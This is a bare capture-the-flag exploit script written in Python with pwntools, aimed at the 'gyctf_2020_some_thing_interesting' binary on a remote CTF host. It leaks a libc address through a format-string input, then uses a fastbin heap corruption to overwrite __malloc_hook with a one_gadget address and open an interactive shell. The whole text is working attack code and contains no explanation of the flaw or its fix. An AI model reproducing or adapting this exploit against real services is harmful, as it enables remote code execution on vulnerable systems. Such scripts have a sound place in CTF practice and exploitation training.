gyctf_2020_some_thing_interesting

exp:

from pwn import *
p = remote("node4.buuoj.cn",26410)
# p = process("./something")
e = ELF("./something")
libc = ELF("libc-2.23.so")

def dbg():
    gdb.attach(p)
    pause()
p.recvuntil("> Input your code please:")
p.sendline("OreOOrereOOreO%17$p")
p.recvuntil("> Now please tell me what you want to do :")
p.sendline("0")
p.recvuntil("0x")
addr = int(p.recv(12),16)
print(hex(addr))
base = addr - libc.sym['__libc_start_main'] - 240
print(hex(base))

context.log_level = 'debug'

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size1, content1, size2, content2):
    p.recvuntil("#######################\n")
    p.sendline('1')
    p.recvuntil("> O's length : ")
    p.sendline(str(size1))
    p.recvuntil("> O : ")
    p.send(content1)
    p.recvuntil("> RE's length : ")
    p.sendline(str(size2))
    p.recvuntil("> RE : ")
    p.send(content2)

def delete(index):
    p.recvuntil("#######################\n")
    p.sendline('3')
    p.recvuntil("> Oreo ID : ")
    p.sendline(str(index))

def show(index):
    p.recvuntil("#######################\n")
    p.sendline('4')
    p.recvuntil("> Oreo ID : ")
    p.sendline(str(index))

def edit(index, content1, content2):
    p.recvuntil("#######################\n")
    p.sendline('2')
    p.recvuntil("> Oreo ID : ")
    p.sendline(str(index))
    p.recvuntil("> O : ")
    p.sendline(content1)
    p.recvuntil("> RE : ")
    p.sendline(content2)
malloc_hook = base + libc.sym['__malloc_hook']
realloc_hook = base + libc.sym['__realloc_hook']
add(0x68,'aaaa',0x10,'bbbb') #1
add(0x68,'aaaa',0x10,'bbbb') #2

delete(1)
edit(1,p64(malloc_hook-0x23),'\x00'*8)
pl1 = 'a'*(0x13)+p64(one_gadget[1] + base)
add(0x30,'aaaa',0x68,pl1)
# print(hex(one_gadget[1] + base))
add(0x30,'aaaa',0x68,pl1)
p.recvuntil('> Now please tell me what you want to do :')
p.sendline('1')
p.recvuntil("> O's length : ")
p.sendline(str(0x10))
p.interactive()